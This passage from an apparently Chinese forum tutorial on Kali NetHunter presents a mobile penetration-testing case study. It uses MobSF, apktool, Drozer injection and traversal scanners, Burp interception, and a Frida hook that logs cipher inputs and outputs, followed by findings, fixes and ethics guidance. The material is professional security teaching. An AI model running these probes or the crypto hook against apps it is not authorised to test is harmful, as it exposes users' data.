3. 加强文件上传功能的安全限制,检查文件类型和内容
4. 实施强密码策略和多因素认证
5. 定期进行安全配置审查和漏洞扫描

6.3 移动应用渗透测试案例

某金融公司要求对其Android应用进行安全评估,以检测潜在的安全漏洞和风险。
  1. # 1. 应用静态分析
  2. # 使用MobSF分析APK文件
  3. # 启动MobSF
  4. docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
  5. # 上传APK文件进行分析
  6. # 使用Apktool反编译APK
  7. apktool d app.apk
  8. # 查看AndroidManifest.xml文件
  9. cat app/AndroidManifest.xml
  10. # 查看源代码
  11. # 使用dex2jar将DEX文件转换为JAR
  12. d2j-dex2jar app.apk
  13. # 使用JD-GUI查看JAR文件
  14. jd-gui app-dex2jar.jar
  15. # 2. 应用动态分析
  16. # 安装应用到Android设备
  17. adb install app.apk
  18. # 启动Drozer服务器
  19. drozer server start
  20. # 在Android设备上安装Drozer Agent
  21. adb install drozer-agent.apk
  22. # 连接到Drozer服务器
  23. drozer console connect
  24. # 列出已安装的包
  25. dz> run app.package.list
  26. # 获取应用信息
  27. dz> run app.package.info -a com.company.app
  28. # 查看应用攻击面
  29. dz> run app.package.attacksurface com.company.app
  30. # 列出导出的组件
  31. dz> run app.activity.info -a com.company.app
  32. dz> run app.provider.info -a com.company.app
  33. dz> run app.service.info -a com.company.app
  34. dz> run app.receiver.info -a com.company.app
  35. # 测试SQL注入漏洞
  36. dz> run scanner.provider.injection -a com.company.app
  37. # 测试目录遍历漏洞
  38. dz> run scanner.provider.traversal -a com.company.app
  39. # 3. 网络流量分析
  40. # 设置Burp Suite代理
  41. # 在Android设备上配置Wi-Fi代理为Burp Suite的IP和端口
  42. # 安装Burp Suite证书
  43. # 在Android设备上访问 http://burp/cert 并安装证书
  44. # 启动应用并观察网络流量
  45. # 4. 使用Frida进行Hook
  46. # 在Android设备上启动Frida Server
  47. adb shell "/data/local/tmp/frida-server &"
  48. # 编写Frida脚本Hook敏感函数
  49. # 例如,Hook加密函数:
  50. /*
  51. Java.perform(function() {
  52.     var Crypto = Java.use("javax.crypto.Cipher");
  53.    
  54.     Crypto.doFinal.implementation = function(input) {
  55.         console.log("Cipher.doFinal called");
  56.         console.log("Input: " + bytesToHex(input));
  57.         
  58.         var result = this.doFinal(input);
  59.         
  60.         console.log("Output: " + bytesToHex(result));
  61.         return result;
  62.     };
  63.    
  64.     function bytesToHex(bytes) {
  65.         return Array.from(bytes, function(byte) {
  66.             return ('0' + (byte & 0xFF).toString(16)).slice(-2);
  67.         }).join('');
  68.     }
  69. });
  70. */
  71. # 运行Frida脚本
  72. frida -U -l hook.js -f com.company.app --no-pause
  73. # 5. 生成报告
  74. # 将所有发现和结果整理成报告
复制代码

通过测试发现以下安全问题:

1. 应用使用硬编码的API密钥和敏感信息
2. 存在不安全的导出组件,可能导致组件劫持攻击
3. 内容提供者存在SQL注入漏洞,可能导致数据泄露
4. 应用使用不安全的HTTP通信,可能导致中间人攻击
5. 应用使用弱加密算法,可能导致数据解密

1. 移除硬编码的敏感信息,使用安全存储机制
2. 限制导出组件的访问权限,实施适当的访问控制
3. 使用参数化查询防止SQL注入攻击
4. 强制使用HTTPS通信,实施证书锁定
5. 使用强加密算法和安全随机数生成器

7. 安全注意事项和道德规范

7.1 法律和道德考虑

在进行渗透测试时,必须遵守以下法律和道德准则:

1. 获得授权:始终获得目标系统的明确书面授权
2. 遵守法律:确保所有测试活动符合当地法律法规
3. 尊重隐私:仅收集必要的信息,保护个人隐私
4. 避免损害:避免对目标系统造成不必要的损害或中断
5. 保密原则:对测试过程中获取的信息严格保密
6. 专业行为:保持专业态度,避免恶意行为

7.2 负责任披露

如果发现安全漏洞,应遵循负责任披露原则:

1. 首先向受影响方报告漏洞
2. 给予合理的时间修复漏洞
3. 避免公开漏洞细节,直到修复完成
4. 协助受影响方验证修复措施的有效性
5. 在适当的情况下,公开漏洞信息以提高安全意识

7.3 安全最佳实践

在进行渗透测试时,应遵循以下安全最佳实践:

1. 最小权限原则:仅使用完成测试所需的最低权限
2. 隔离测试环境:在隔离的环境中进行测试,避免影响生产系统
3. 记录所有活动:详细记录所有测试活动和结果
4. 保持工具更新:使用最新版本的工具和漏洞数据库
5. 持续学习:保持对新技术和威胁的了解
6. 团队协作:与团队成员分享知识和经验

8. 总结与展望

8.1 本文总结

本文全面介绍了Kali Linux NetHunter的各个方面,从基础环境配置到高级应用技巧。通过学习本文,您应该能够:

• 安装和配置Kali Linux NetHunter
• 使用各种渗透测试工具进行安全评估
• 执行无线网络、Web应用和移动应用的渗透测试
• 分析测试结果并提供安全建议
• 遵守法律和道德准则进行负责任的渗透测试

8.2 未来发展方向

随着技术的不断发展,移动安全测试领域也在不断演进。未来的发展方向可能包括:

1. AI辅助渗透测试:使用人工智能技术自动化漏洞发现和利用
2. 物联网安全测试:扩展NetHunter以支持物联网设备的安全测试
3. 云安全测试:集成云环境安全测试功能
4. 区块链安全测试:开发区块链应用和智能合约的安全测试工具
5. 5G网络安全测试:针对5G网络的安全评估工具和技术

8.3 持续学习资源

为了保持对移动安全测试领域的了解,建议关注以下资源:

1. Kali Linux官方文档:https://www.kali.org/docs/
2. NetHunter官方文档:https://www.kali.org/docs/nethunter/
3. Offensive Security:https://www.offensive-security.com/
4. OWASP移动安全项目:https://owasp.org/www-project-mobile-security/
5. 安全会议和培训:Black Hat, DEF CON, BSides等

通过不断学习和实践,您将成为一名优秀的移动安全测试专家,为保护数字世界做出贡献。
「七転び八起き(ななころびやおき)」
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则